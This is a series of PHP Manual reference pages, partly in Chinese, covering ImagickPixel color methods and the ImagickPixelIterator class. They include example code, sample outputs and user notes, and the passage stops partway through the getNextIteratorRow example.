Returns the color described by the ImagickPixel object, as an array. If the color has an opacity channel set, this is provided as a fourth value in the list.

参数

normalized

Normalize the color values. Possible values are 0, 1 or 2.

List of possible values for normalized
normalized | Description
0 | The RGB values are returned as ints in the range 0 to 255 (inclusive.) The alpha value is returned as int and is either 0 or 1.
1 | The RGBA values are returned as floats in the range 0 to 1 (inclusive.)
2 | The RGBA values are returned as ints in the range 0 to 255 (inclusive.)

返回值

An array of channel values. Throws ImagickPixelException on error.

示例

Example #1 Basic Imagick::getColor() usage

<?php

//Create an ImagickPixel with the predefined color 'brown'
$color = new ImagickPixel('brown');

//Set the color to have an alpha of 25%
$color->setColorValue(Imagick::COLOR_ALPHA, 64 / 256.0);

$colorInfo = $color->getColor();

echo "Standard values".PHP_EOL;
print_r($colorInfo);

$colorInfo = $color->getColor(1);

echo "Normalized values:".PHP_EOL;
print_r($colorInfo);

?>

以上示例会输出：

Standard values
Array
(
    [r] => 165
    [g] => 42
    [b] => 42
    [a] => 0
)
Normalized values:
Array
(
    [r] => 0.64705882352941
    [g] => 0.16470588235294
    [b] => 0.16470588235294
    [a] => 0.25000381475547
)

User Contributed Notes

roman 10-May-2013 09:27
In case you use default un-normalized getColor value the alpha value will always be either 0 or 1.

If you want to use real full-range 0-1 alpha channel on your 24bit transparent images use the alpha value from the normalized one, even if you use the rest of unnormalized data.

To copy a 24bit png with real alpha transparency, you would have to do this:
<?php

$im=new Imagick( 'image.png' );
$iterator=$im->getPixelIterator();
foreach ($iterator as $row=>$pixels) {
    foreach ( $pixels as $column => $pixel ){
        $un_color=$pixel->getColor(); //unnormalized color
        $nor_color=$pixel->getColor(true); //normalized color
        $pixel->setColor('rgba('.$un_color['r'].','.$un_color['g'].','.$un_color['b'].','.$nor_color['a'].')');
    }
}
?>

If you use 'a' (alpha) value from the unnormalized color there will only be binary transparency.


Returns the color as a string

  • ? ImagickPixel::getColor
  • ImagickPixel::getColorCount ?
  • PHP Manual
  • ImagickPixel
  • Returns the color as a string

ImagickPixel::getColorAsString

(PECL imagick 2 >= 2.1.0, PECL imagick 3)

ImagickPixel::getColorAsString — Returns the color as a string

说明

public ImagickPixel::getColorAsString(): string

Returns the color of the ImagickPixel object as a string.

参数

此函数没有参数。

返回值

Returns the color of the ImagickPixel object as a string.

示例

Example #1 Basic Imagick::getColorAsString() usage

<?php

//Create an ImagickPixel with the predefined color 'brown'
$color = new ImagickPixel('brown');

$color->setColorValue(Imagick::COLOR_ALPHA, 64 / 256.0);

$colorInfo = $color->getColorAsString();

print_r($colorInfo);
?>

以上示例会输出：

rgb(165,42,42)

注释

Note: Alpha not returned

This function does not return the alpha value of the color in the string.

User Contributed Notes

There are no user contributed notes for this page.


Returns the color count associated with this color

  • ? ImagickPixel::getColorAsString
  • ImagickPixel::getColorQuantum ?
  • PHP Manual
  • ImagickPixel
  • Returns the color count associated with this color

ImagickPixel::getColorCount

(PECL imagick 2, PECL imagick 3)

ImagickPixel::getColorCount — Returns the color count associated with this color

说明

public ImagickPixel::getColorCount(): int

Returns the color count associated with this color.

The color count is the number of pixels in the image that have the same color as this ImagickPixel.

ImagickPixel::getColorCount appears to only work for ImagickPixel objects created through Imagick::getImageHistogram()

参数

此函数没有参数。

返回值

Returns the color count as an integer on success, throws ImagickPixelException on failure.

示例

Example #1 ImagickPixel getColorCount()

<?php
$imagick = new \Imagick();
$imagick->newPseudoImage(640, 480, "magick:logo");
$histogramElements = $imagick->getImageHistogram();
$lastColor = array_pop($histogramElements);
echo "Last pixel color count is: ".$lastColor->getColorCount();
?>

The output for this will be similar to:

Last pixel color count is: 256244

User Contributed Notes

There are no user contributed notes for this page.


Returns the color of the pixel in an array as Quantum values

  • ? ImagickPixel::getColorCount
  • ImagickPixel::getColorValue ?
  • PHP Manual
  • ImagickPixel
  • Returns the color of the pixel in an array as Quantum values

ImagickPixel::getColorQuantum

(No version information available, might only be in Git)

ImagickPixel::getColorQuantum — Returns the color of the pixel in an array as Quantum values

说明

public ImagickPixel::getColorQuantum(): array

Returns the color of the pixel in an array as Quantum values. If ImageMagick was compiled as HDRI these will be floats, otherwise they will be integers.

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

Returns an array with keys "r", "g", "b", "a".

User Contributed Notes

There are no user contributed notes for this page.


Gets the normalized value of the provided color channel

  • ? ImagickPixel::getColorQuantum
  • ImagickPixel::getColorValueQuantum ?
  • PHP Manual
  • ImagickPixel
  • Gets the normalized value of the provided color channel

ImagickPixel::getColorValue

(PECL imagick 2, PECL imagick 3)

ImagickPixel::getColorValue — Gets the normalized value of the provided color channel

说明

public ImagickPixel::getColorValue(int $color): float

Retrieves the value of the color channel specified, as a floating-point number between 0 and 1.

参数

color

The color to get the value of, specified as one of the Imagick color constants. This can be one of the RGB colors, CMYK colors, alpha and opacity e.g (Imagick::COLOR_BLUE, Imagick::COLOR_MAGENTA).

返回值

The value of the channel, as a normalized floating-point number, throwing ImagickPixelException on error.

示例

Example #1 Basic Imagick::getColorValue() usage

<?php

$color = new ImagickPixel('rgba(90%, 20%, 20%, 0.75)');

echo "Alpha value is ".$color->getColorValue(Imagick::COLOR_ALPHA).PHP_EOL;
echo "".PHP_EOL;
echo "Red value is ".$color->getColorValue(Imagick::COLOR_RED).PHP_EOL;
echo "Green value is ".$color->getColorValue(Imagick::COLOR_GREEN).PHP_EOL;
echo "Blue value is ".$color->getColorValue(Imagick::COLOR_BLUE).PHP_EOL;
echo "".PHP_EOL;
echo "Cyan value is ".$color->getColorValue(Imagick::COLOR_CYAN).PHP_EOL;
echo "Magenta value is ".$color->getColorValue(Imagick::COLOR_MAGENTA).PHP_EOL;
echo "Yellow value is ".$color->getColorValue(Imagick::COLOR_YELLOW).PHP_EOL;
echo "Black value is ".$color->getColorValue(Imagick::COLOR_BLACK).PHP_EOL;

?>

以上示例会输出：

Alpha value is 0.74999618524453

Red value is 0.90000762951095
Green value is 0.2
Blue value is 0.2

Cyan value is 0.90000762951095
Magenta value is 0.2
Yellow value is 0.2
Black value is 0

User Contributed Notes

Anonymous 16-Apr-2020 08:21
COLOR_ALPHA - not fully transparent pixel
COLOR_OPACITY - completely transparent pixel
holdoffhunger at gmail dot com 05-Apr-2012 10:34
When getting a color value back with getColorValue, you are free to use any color scheme: either the Red/Green/Blue (RGB) scheme or the Cyan/Magenta/Yellow/blacK (CMYK) scheme.  For RGB, this function works with the constant values of "COLOR_RED", "COLOR_GREEN", and "COLOR_BLUE," and for CMYK, this function works with the constant values of "COLOR_CYAN", "COLOR_MAGENTA", "COLOR_YELLOW", and "COLOR_BLACK".  As a programmer, the main question you're probably asking yourself is "How do I know if one pixel's color is different from the others?"  That seems to be defined as a unique combination of RGB *or* CMYK values.  Each RGB set of values with have a unique set of CMYK values for only that set of RGB values, so an RGB of 1/0.5/0.5 with have a unique set of CMYK values, shared only by the other pixels of the same exact RGB values.

Why the CMYK?  Because that is the standard for printing, or to quote the Imagick site, "As such for printing we use four colored inks: Cyan, Magenta, Yellow, and blacK; and define images using these inks, to form a CMYK color space."  By being a "color space", you get the choice of working with either RGB or CMYK when defining a pixel as being unique among a set of pixels.  But you are completely free to go with either RGB or CMYK.  For more on it from the Imagick Site:

http://www.imagemagick.org/Usage/color_basics/

Some code that demonstrates both methods: (for a purple-ish red pixel)

<?php

        // Grab Pixel
        // ---------------------------------------------------

    $pixel_one = $imagick_type->getImagePixelColor(0,0);

        // Grab Alpha/Opacity Values
        // ---------------------------------------------------

    $pixel_one_color_value_alpha = $pixel_one->getColorValue(imagick::COLOR_ALPHA);
    $pixel_one_color_value_opacity = $pixel_one->getColorValue(imagick::COLOR_OPACITY);

        // Grab Red/Green/Blue (RGB) Values
        // ---------------------------------------------------

    $pixel_one_color_value_red = $pixel_one->getColorValue(imagick::COLOR_RED);
    $pixel_one_color_value_green = $pixel_one->getColorValue(imagick::COLOR_GREEN);
    $pixel_one_color_value_blue = $pixel_one->getColorValue(imagick::COLOR_BLUE);

        // Grab Cyna/Magenta/Yellow/blacK (CMYK) Values
        // ---------------------------------------------------

    $pixel_one_color_value_cyan = $pixel_one->getColorValue(imagick::COLOR_CYAN);
    $pixel_one_color_value_magenta = $pixel_one->getColorValue(imagick::COLOR_MAGENTA);
    $pixel_one_color_value_yellow = $pixel_one->getColorValue(imagick::COLOR_YELLOW);
    $pixel_one_color_value_black = $pixel_one->getColorValue(imagick::COLOR_BLACK);

        // Print Results
        // ---------------------------------------------------

    print("Alpha: $pixel_one_color_value_alpha<br>");
    print("Opacity: $pixel_one_color_value_opacity<br><br>");

    print("---------------------------------------------<br><br>");

    print("Red: $pixel_one_color_value_red<br>");
    print("Green: $pixel_one_color_value_green<br>");
    print("Blue: $pixel_one_color_value_blue<br><br>");

    print("Cyan: $pixel_one_color_value_cyan<br>");
    print("Magenta: $pixel_one_color_value_magenta<br>");
    print("Yellow: $pixel_one_color_value_yellow<br>");
    print("Black: $pixel_one_color_value_black<br><br>");

    /*
            Example Results : : :
            -----------------------

Alpha: 1
Opacity: 0

---------------------------------------------

Red: 1
Green: 0.501960784314
Blue: 0.501960784314

Cyan: 1
Magenta: 0.501960784314
Yellow: 0.501960784314
Black: 0

    */

?>
mwwaygoo AT hotmail DOT com 18-May-2010 03:56
QUOTE: $color   The channel to check, specified as one of the Imagick channel constants.

$color is a COLOR_* constant, not a channel constant

e.g.
<?php
$image=new Imagick();
$image->readImage('test.png');
$point=$image->getImagePixelColor(0,0);
echo ' Alpha:'.$point->getColorValue(imagick::COLOR_ALPHA);
echo ' Opacity:'.$point->getColorValue(imagick::COLOR_OPACITY);
echo ' R:'.$point->getColorValue(imagick::COLOR_RED);
echo ' G:'.$point->getColorValue(imagick::COLOR_GREEN);
echo ' B:'.$point->getColorValue(imagick::COLOR_BLUE);
?>


Gets the quantum value of a color in the ImagickPixel

  • ? ImagickPixel::getColorValue
  • ImagickPixel::getHSL ?
  • PHP Manual
  • ImagickPixel
  • Gets the quantum value of a color in the ImagickPixel

ImagickPixel::getColorValueQuantum

(PECL imagick 2 >= 2.3.0, PECL imagick 3)

ImagickPixel::getColorValueQuantum — Gets the quantum value of a color in the ImagickPixel

说明

public ImagickPixel::getColorValueQuantum(int $color): int|float

Gets the quantum value of a color in the ImagickPixel. Return value is a float if ImageMagick was compiled with HDRI, otherwise an integer.

参数

此函数没有参数。

返回值

The quantum value of the color element. Float if ImageMagick was compiled with HDRI, otherwise an int.

示例

Example #1 ImagickPixel::getColorValueQuantum()

<?php
$color = new \ImagickPixel('rgb(128, 5, 255)');
$colorRed = $color->getColorValueQuantum(\Imagick::COLOR_RED);
$colorGreen = $color->getColorValueQuantum(\Imagick::COLOR_GREEN);
$colorBlue = $color->getColorValueQuantum(\Imagick::COLOR_BLUE);
$colorAlpha = $color->getColorValueQuantum(\Imagick::COLOR_ALPHA);

printf(
"Red: %s Green: %s Blue %s Alpha: %s",
$colorRed,
$colorGreen,
$colorBlue,
$colorAlpha
);

?>

User Contributed Notes

There are no user contributed notes for this page.


Returns the normalized HSL color of the ImagickPixel object

  • ? ImagickPixel::getColorValueQuantum
  • ImagickPixel::getIndex ?
  • PHP Manual
  • ImagickPixel
  • Returns the normalized HSL color of the ImagickPixel object

ImagickPixel::getHSL

(PECL imagick 2, PECL imagick 3)

ImagickPixel::getHSL — Returns the normalized HSL color of the ImagickPixel object

说明

public ImagickPixel::getHSL(): array

Returns the normalized HSL color described by the ImagickPixel object, with each of the three values as floating point numbers between 0.0 and 1.0.

参数

此函数没有参数。

返回值

Returns the HSL value in an array with the keys "hue", "saturation", and "luminosity". Throws ImagickPixelException on failure.

示例

Example #1 Basic Imagick::getHSL() example

<?php

$color = new ImagickPixel('rgb(90%, 10%, 10%)');

$colorInfo = $color->getHSL();

print_r($colorInfo);

?>

以上示例会输出：

Array
(
    [hue] => 0
    [saturation] => 0.80001220740379
    [luminosity] => 0.50000762951095
)

注释

Note:

Available with ImageMagick library version 6.2.9 and higher.

User Contributed Notes

rio at rio dot st 06-Aug-2009 10:25
This function needs ImageMagick > 6.2.8

In imagickpixel_class.c
#if MagickLibVersion > 0x628
/* {{{ proto array ImagickPixel::getHSL()
        Returns the normalized HSL color of the pixel wand in an array with the keys "hue", "saturation", and "luminosity".
*/


Gets the colormap index of the pixel wand

  • ? ImagickPixel::getHSL
  • ImagickPixel::isPixelSimilar ?
  • PHP Manual
  • ImagickPixel
  • Gets the colormap index of the pixel wand

ImagickPixel::getIndex

(PECL imagick 2 >= 2.3.0, PECL imagick 3)

ImagickPixel::getIndex — Gets the colormap index of the pixel wand

说明

public ImagickPixel::getIndex(): int

Gets the colormap index of the pixel wand.

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Check the distance between this color and another

  • ? ImagickPixel::getIndex
  • ImagickPixel::isPixelSimilarQuantum ?
  • PHP Manual
  • ImagickPixel
  • Check the distance between this color and another

ImagickPixel::isPixelSimilar

(PECL imagick 3 >= 3.3.0)

ImagickPixel::isPixelSimilar — Check the distance between this color and another

说明

public ImagickPixel::isPixelSimilar(ImagickPixel $color, float $fuzz): bool

Checks the distance between the color described by this ImagickPixel object and that of the provided object, by plotting their RGB values on the color cube. If the distance between the two points is less than the fuzz value given, the colors are similar. This method replaces ImagickPixel::isSimilar() and correctly normalises the fuzz value to ImageMagick QuantumRange.

参数

color

The ImagickPixel object to compare this object against.

fuzz

The maximum distance within which to consider these colors as similar. The theoretical maximum for this value is the square root of three (1.732).

返回值

成功时返回 true。

User Contributed Notes

There are no user contributed notes for this page.


Returns whether two colors differ by less than the specified distance

  • ? ImagickPixel::isPixelSimilar
  • ImagickPixel::isSimilar ?
  • PHP Manual
  • ImagickPixel
  • Returns whether two colors differ by less than the specified distance

ImagickPixel::isPixelSimilarQuantum

(PECL imagick 3 >= 3.3.0)

ImagickPixel::isPixelSimilarQuantum — Returns whether two colors differ by less than the specified distance

说明

public ImagickPixel::isPixelSimilarQuantum(string $color, string $fuzz = ?): bool

Returns true if the distance between two colors is less than the specified distance. The fuzz value should be in the range 0-QuantumRange. The maximum value represents the longest possible distance in the colorspace. e.g. from RGB(0, 0, 0) to RGB(255, 255, 255) for the RGB colorspace

参数

color

fuzz

返回值

User Contributed Notes

There are no user contributed notes for this page.


Check the distance between this color and another

  • ? ImagickPixel::isPixelSimilarQuantum
  • ImagickPixel::setColor ?
  • PHP Manual
  • ImagickPixel
  • Check the distance between this color and another

ImagickPixel::isSimilar

(PECL imagick 2, PECL imagick 3)

ImagickPixel::isSimilar — Check the distance between this color and another

说明

public ImagickPixel::isSimilar(ImagickPixel $color, float $fuzz): bool
Warning

本函数还未编写文档，仅有参数列表。

Checks the distance between the color described by this ImagickPixel object and that of the provided object, by plotting their RGB values on the color cube. If the distance between the two points is less than the fuzz value given, the colors are similar. Deprecated in favour of ImagickPixel::isPixelSimilar().

参数

color

The ImagickPixel object to compare this object against.

fuzz

The maximum distance within which to consider these colors as similar. The theoretical maximum for this value is the square root of three (1.732).

返回值

成功时返回 true。

示例

Example #1 ImagickPixel::isSimilar()

<?php
// The tests below are written with the maximum distance expressed as 255
// so we need to scale them by the square root of 3 - the diagonal length
// of a unit cube.
$root3 = 1.732050807568877;

$tests = array(
['rgb(245, 0, 0)', 'rgb(255, 0, 0)', 9 / $root3, false,],
['rgb(245, 0, 0)', 'rgb(255, 0, 0)', 10 / $root3, true,],
['rgb(0, 0, 0)', 'rgb(7, 7, 0)', 9 / $root3, false,],
['rgb(0, 0, 0)', 'rgb(7, 7, 0)', 10 / $root3, true,],
['rgba(0, 0, 0, 1)', 'rgba(7, 7, 0, 1)', 9 / $root3, false,],
['rgba(0, 0, 0, 1)', 'rgba(7, 7, 0, 1)', 10 / $root3, true,],
['rgb(128, 128, 128)', 'rgb(128, 128, 120)', 7 / $root3, false,],
['rgb(128, 128, 128)', 'rgb(128, 128, 120)', 8 / $root3, true,],
['rgb(0, 0, 0)', 'rgb(255, 255, 255)', 254.9, false,],
['rgb(0, 0, 0)', 'rgb(255, 255, 255)', 255, true,],
['rgb(255, 0, 0)', 'rgb(0, 255, 255)', 254.9, false,],
['rgb(255, 0, 0)', 'rgb(0, 255, 255)', 255, true,],
['black', 'rgba(0, 0, 0)', 0.0, true],
['black', 'rgba(10, 0, 0, 1.0)', 10.0 / $root3, true],);

$output = "<table width='100%' class='infoTable'><thead>
<tr>
<th>
Color 1
</th>
<th>
Color 2
</th>
<th>
Test distance * 255
</th>
<th>
Is within distance
</th>
</tr>
</thead>";

$output .= "<tbody>";

foreach ($tests as $testInfo) {
$color1 = $testInfo[0];
$color2 = $testInfo[1];
$distance = $testInfo[2];
$expectation = $testInfo[3];
$testDistance = ($distance / 255.0);

$color1Pixel = new \ImagickPixel($color1);
$color2Pixel = new \ImagickPixel($color2);

$isSimilar = $color1Pixel->isPixelSimilar($color2Pixel, $testDistance);

if ($isSimilar !== $expectation) {
echo "Test distance failed. Color [$color1] compared to color [$color2] is not within distance $testDistance FAILED.".NL;
}

$layout = "<tr>
<td>%s</td>
<td>%s</td>
<td>%s</td>
<td style='text-align: center;'>%s</td>
</tr>";

$output .= sprintf(
$layout,
$color1,
$color2,
$distance,
$isSimilar ? 'yes' : 'no'
);
}

$output .= "</tbody></table>";

return $output;

?>

User Contributed Notes

There are no user contributed notes for this page.


Sets the color

  • ? ImagickPixel::isSimilar
  • ImagickPixel::setColorCount ?
  • PHP Manual
  • ImagickPixel
  • Sets the color

ImagickPixel::setColor

(PECL imagick 2, PECL imagick 3)

ImagickPixel::setColor — Sets the color

说明

public ImagickPixel::setColor(string $color): bool
Warning

本函数还未编写文档，仅有参数列表。

Sets the color described by the ImagickPixel object, with a string (e.g. "blue", "#0000ff", "rgb(0,0,255)", "cmyk(100,100,100,10)", etc.).

参数

color

The color definition to use in order to initialise the ImagickPixel object.

返回值

Returns true if the specified color was set, false otherwise.

示例

Example #1 ImagickPixel::setColor()

<?php
function setColor() {
$draw = new \ImagickDraw();

$strokeColor = new \ImagickPixel('green');
$fillColor = new \ImagickPixel();
$fillColor->setColor('rgba(100%, 75%, 0%, 1.0)');

$draw->setstrokewidth(3.0);
$draw->setStrokeColor($strokeColor);
$draw->setFillColor($fillColor);
$draw->rectangle(200, 200, 300, 300);

$image = new \Imagick();
$image->newImage(500, 500, "SteelBlue2");
$image->setImageFormat("png");

$image->drawImage($draw);

header("Content-Type: image/png");
echo $image->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Sets the color count associated with this color

  • ? ImagickPixel::setColor
  • ImagickPixel::setColorValue ?
  • PHP Manual
  • ImagickPixel
  • Sets the color count associated with this color

ImagickPixel::setColorCount

(PECL imagick 2, PECL imagick 3)

ImagickPixel::setColorCount — Sets the color count associated with this color

说明

public ImagickPixel::setcolorcount(int $colorCount): bool

Sets the color count associated with this color.

参数

colorCount

返回值

成功时返回 true。

User Contributed Notes

There are no user contributed notes for this page.


Sets the normalized value of one of the channels

  • ? ImagickPixel::setColorCount
  • ImagickPixel::setColorValueQuantum ?
  • PHP Manual
  • ImagickPixel
  • Sets the normalized value of one of the channels

ImagickPixel::setColorValue

(PECL imagick 2, PECL imagick 3)

ImagickPixel::setColorValue — Sets the normalized value of one of the channels

说明

public ImagickPixel::setColorValue(int $color, float $value): bool

Sets the value of the specified channel of this object to the provided value, which should be between 0 and 1. This function can be used to provide an opacity channel to an ImagickPixel object.

参数

color

One of the Imagick color constants e.g. \Imagick::COLOR_GREEN or \Imagick::COLOR_ALPHA.

value

The value to set this channel to, ranging from 0 to 1.

返回值

成功时返回 true。

示例

Example #1 Basic Imagick::setColorValue() usage

<?php

$color = new \ImagickPixel('firebrick');

$color->setColorValue(Imagick::COLOR_ALPHA, 0.5);

print_r($color->getcolor(true));
?>

以上示例会输出：

Array
(
    [r] => 0.69803921568627
    [g] => 0.13333333333333
    [b] => 0.13333333333333
    [a] => 0.50000762951095
)

User Contributed Notes

There are no user contributed notes for this page.


Sets the quantum value of a color element of the ImagickPixel

  • ? ImagickPixel::setColorValue
  • ImagickPixel::setHSL ?
  • PHP Manual
  • ImagickPixel
  • Sets the quantum value of a color element of the ImagickPixel

ImagickPixel::setColorValueQuantum

(PECL imagick 2 >=2.3.0, PECL imagick 3)

ImagickPixel::setColorValueQuantum — Sets the quantum value of a color element of the ImagickPixel

说明

public ImagickPixel::setColorValueQuantum(int $color, int|float $value): bool

Sets the quantum value of a color element of the ImagickPixel.

Warning

本函数还未编写文档，仅有参数列表。

参数

color

Which color element to set e.g. \Imagick::COLOR_GREEN.

value

The quantum value to set the color element to. This should be a float if ImageMagick was compiled with HDRI otherwise an int in the range 0 to Imagick::getQuantum().

返回值

成功时返回 true。

示例

Example #1 ImagickPixel::setColorValueQuantum()

<?php
function setColorValueQuantum() {
$image = new \Imagick();

$quantumRange = $image->getQuantumRange();

$draw = new \ImagickDraw();
$color = new \ImagickPixel('blue');
$color->setcolorValueQuantum(\Imagick::COLOR_RED, 128 * $quantumRange['quantumRangeLong'] / 256);

$draw->setstrokewidth(1.0);
$draw->setStrokeColor($color);
$draw->setFillColor($color);
$draw->rectangle(200, 200, 300, 300);

$image->newImage(500, 500, "SteelBlue2");
$image->setImageFormat("png");

$image->drawImage($draw);

header("Content-Type: image/png");
echo $image->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Sets the normalized HSL color

  • ? ImagickPixel::setColorValueQuantum
  • ImagickPixel::setIndex ?
  • PHP Manual
  • ImagickPixel
  • Sets the normalized HSL color

ImagickPixel::setHSL

(PECL imagick 2, PECL imagick 3)

ImagickPixel::setHSL — Sets the normalized HSL color

说明

public ImagickPixel::setHSL(float $hue, float $saturation, float $luminosity): bool

Sets the color described by the ImagickPixel object using normalized values for hue, saturation and luminosity.

参数

hue

The normalized value for hue, described as a fractional arc (between 0 and 1) of the hue circle, where the zero value is red.

saturation

The normalized value for saturation, with 1 as full saturation.

luminosity

The normalized value for luminosity, on a scale from black at 0 to white at 1, with the full HS value at 0.5 luminosity.

返回值

成功时返回 true。

示例

Example #1 Use ImagickPixel::setHSL() to modify a color

<?php

//Create an almost pure red color
$color = new ImagickPixel('rgb(90%, 10%, 10%)');

//Get it's HSL values
$colorInfo = $color->getHSL();

//Rotate the hue by 180 degrees
$newHue = $colorInfo['hue'] + 0.5;
if ($newHue > 1) {
$newHue = $newHue - 1;
}

//Set the ImagickPixel to the new color
$colorInfo = $color->setHSL($newHue, $colorInfo['saturation'], $colorInfo['luminosity']);

//Check that the new color is blue/green
$colorInfo = $color->getcolor();
print_r($colorInfo);

?>

以上示例会输出：

Array
(
    [r] => 26
    [g] => 230
    [b] => 230
    [a] => 255
)

注释

Note:

Available with ImageMagick library version 6.2.9 and higher.

User Contributed Notes

There are no user contributed notes for this page.


Sets the colormap index of the pixel wand

  • ? ImagickPixel::setHSL
  • ImagickPixelIterator ?
  • PHP Manual
  • ImagickPixel
  • Sets the colormap index of the pixel wand

ImagickPixel::setIndex

(PECL imagick 2 >= 2.3.0, PECL imagick 3)

ImagickPixel::setIndex — Sets the colormap index of the pixel wand

说明

public ImagickPixel::setIndex(int $index): bool

Sets the colormap index of the pixel wand.

参数

index

返回值

成功时返回 true。

User Contributed Notes

There are no user contributed notes for this page.


The ImagickPixelIterator class

(PECL imagick 2, PECL imagick 3)

类摘要

class ImagickPixelIterator {
public clear(): bool
public __construct(Imagick $wand)
public destroy(): bool
public getCurrentIteratorRow(): array
public getIteratorRow(): int
public getNextIteratorRow(): array
public getPreviousIteratorRow(): array
public newPixelIterator(Imagick $wand): bool
public newPixelRegionIterator(
Imagick $wand,
int $x,
int $y,
int $columns,
int $rows
): bool
public resetIterator(): bool
public setIteratorFirstRow(): bool
public setIteratorLastRow(): bool
public setIteratorRow(int $row): bool
public syncIterator(): bool
}

Table of Contents

  • ImagickPixelIterator::clear — Clear resources associated with a PixelIterator
  • ImagickPixelIterator::__construct — The ImagickPixelIterator constructor
  • ImagickPixelIterator::destroy — Deallocates resources associated with a PixelIterator
  • ImagickPixelIterator::getCurrentIteratorRow — Returns the current row of ImagickPixel objects
  • ImagickPixelIterator::getIteratorRow — Returns the current pixel iterator row
  • ImagickPixelIterator::getNextIteratorRow — Returns the next row of the pixel iterator
  • ImagickPixelIterator::getPreviousIteratorRow — Returns the previous row
  • ImagickPixelIterator::newPixelIterator — Returns a new pixel iterator
  • ImagickPixelIterator::newPixelRegionIterator — Returns a new pixel iterator
  • ImagickPixelIterator::resetIterator — Resets the pixel iterator
  • ImagickPixelIterator::setIteratorFirstRow — Sets the pixel iterator to the first pixel row
  • ImagickPixelIterator::setIteratorLastRow — Sets the pixel iterator to the last pixel row
  • ImagickPixelIterator::setIteratorRow — Set the pixel iterator row
  • ImagickPixelIterator::syncIterator — Syncs the pixel iterator

User Contributed Notes

There are no user contributed notes for this page.


Clear resources associated with a PixelIterator

  • ? ImagickPixelIterator
  • ImagickPixelIterator::__construct ?
  • PHP Manual
  • ImagickPixelIterator
  • Clear resources associated with a PixelIterator

ImagickPixelIterator::clear

(PECL imagick 2, PECL imagick 3)

ImagickPixelIterator::clear — Clear resources associated with a PixelIterator

说明

public ImagickPixelIterator::clear(): bool
Warning

本函数还未编写文档，仅有参数列表。

Clear resources associated with a PixelIterator.

返回值

成功时返回 true。

示例

Example #1 ImagickPixelIterator::clear()

<?php
function clear($imagePath) {
$imagick = new \Imagick(realpath($imagePath));

$imageIterator = $imagick->getPixelRegionIterator(100, 100, 250, 200);

/* Loop through pixel rows */
foreach ($imageIterator as $pixels) {
/** @var $pixel \ImagickPixel */
/* Loop through the pixels in the row (columns) */
foreach ($pixels as $column => $pixel) {
if ($column % 2) {
/* Paint every second pixel black*/
$pixel->setColor("rgba(0, 0, 0, 0)");
}
}
/* Sync the iterator, this is important to do on each iteration */
$imageIterator->syncIterator();
}

$imageIterator->clear();

header("Content-Type: image/jpg");
echo $imagick;
}

?>

User Contributed Notes

There are no user contributed notes for this page.


The ImagickPixelIterator constructor

  • ? ImagickPixelIterator::clear
  • ImagickPixelIterator::destroy ?
  • PHP Manual
  • ImagickPixelIterator
  • The ImagickPixelIterator constructor

ImagickPixelIterator::__construct

(PECL imagick 2, PECL imagick 3)

ImagickPixelIterator::__construct — The ImagickPixelIterator constructor

说明

public ImagickPixelIterator::__construct(Imagick $wand)
Warning

本函数还未编写文档，仅有参数列表。

The ImagickPixelIterator constructor

返回值

成功时返回 true。

示例

Example #1 ImagickPixelIterator::construct()

<?php
function construct($imagePath) {
$imagick = new \Imagick(realpath($imagePath));
$imageIterator = new \ImagickPixelIterator($imagick);

/* Loop through pixel rows */
foreach ($imageIterator as $pixels) {
/* Loop through the pixels in the row (columns) */
foreach ($pixels as $column => $pixel) {
/** @var $pixel \ImagickPixel */
if ($column % 2) {
/* Paint every second pixel black*/
$pixel->setColor("rgba(0, 0, 0, 0)");
}
}
/* Sync the iterator, this is important to do on each iteration */
$imageIterator->syncIterator();
}

header("Content-Type: image/jpg");
echo $imagick;
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Deallocates resources associated with a PixelIterator

  • ? ImagickPixelIterator::__construct
  • ImagickPixelIterator::getCurrentIteratorRow ?
  • PHP Manual
  • ImagickPixelIterator
  • Deallocates resources associated with a PixelIterator

ImagickPixelIterator::destroy

(PECL imagick 2, PECL imagick 3)

ImagickPixelIterator::destroy — Deallocates resources associated with a PixelIterator

说明

public ImagickPixelIterator::destroy(): bool
Warning

本函数还未编写文档，仅有参数列表。

Deallocates resources associated with a PixelIterator.

返回值

成功时返回 true。

User Contributed Notes

There are no user contributed notes for this page.


Returns the current row of ImagickPixel objects

  • ? ImagickPixelIterator::destroy
  • ImagickPixelIterator::getIteratorRow ?
  • PHP Manual
  • ImagickPixelIterator
  • Returns the current row of ImagickPixel objects

ImagickPixelIterator::getCurrentIteratorRow

(PECL imagick 2, PECL imagick 3)

ImagickPixelIterator::getCurrentIteratorRow — Returns the current row of ImagickPixel objects

说明

public ImagickPixelIterator::getCurrentIteratorRow(): array
Warning

本函数还未编写文档，仅有参数列表。

Returns the current row as an array of ImagickPixel objects from the pixel iterator.

返回值

Returns a row as an array of ImagickPixel objects that can themselves be iterated.

User Contributed Notes

There are no user contributed notes for this page.


Returns the current pixel iterator row

  • ? ImagickPixelIterator::getCurrentIteratorRow
  • ImagickPixelIterator::getNextIteratorRow ?
  • PHP Manual
  • ImagickPixelIterator
  • Returns the current pixel iterator row

ImagickPixelIterator::getIteratorRow

(PECL imagick 2, PECL imagick 3)

ImagickPixelIterator::getIteratorRow — Returns the current pixel iterator row

说明

public ImagickPixelIterator::getIteratorRow(): int
Warning

本函数还未编写文档，仅有参数列表。

Returns the current pixel iterator row.

返回值

Returns the integer offset of the row, throwing ImagickPixelIteratorException on error.

User Contributed Notes

There are no user contributed notes for this page.


Returns the next row of the pixel iterator

  • ? ImagickPixelIterator::getIteratorRow
  • ImagickPixelIterator::getPreviousIteratorRow ?
  • PHP Manual
  • ImagickPixelIterator
  • Returns the next row of the pixel iterator

ImagickPixelIterator::getNextIteratorRow

(PECL imagick 2, PECL imagick 3)

ImagickPixelIterator::getNextIteratorRow — Returns the next row of the pixel iterator

说明

public ImagickPixelIterator::getNextIteratorRow(): array
Warning

本函数还未编写文档，仅有参数列表。

Returns the next row as an array of pixel wands from the pixel iterator.

返回值

Returns the next row as an array of ImagickPixel objects, throwing ImagickPixelIteratorException on error.

示例

Example #1 ImagickPixelIterator::getNextIteratorRow()

<?php
function getNextIteratorRow($imagePath) {
$imagick = new \Imagick(realpath($imagePath));
$imageIterator = $imagick->getPixelIterator();

$count = 0;
while ($pixels = $imageIterator->getNextIteratorRow()) {
if (($count % 3) == 0) {
/* Loop through the pixels in the row (columns) */
foreach ($pixels as $column => $pixel) {
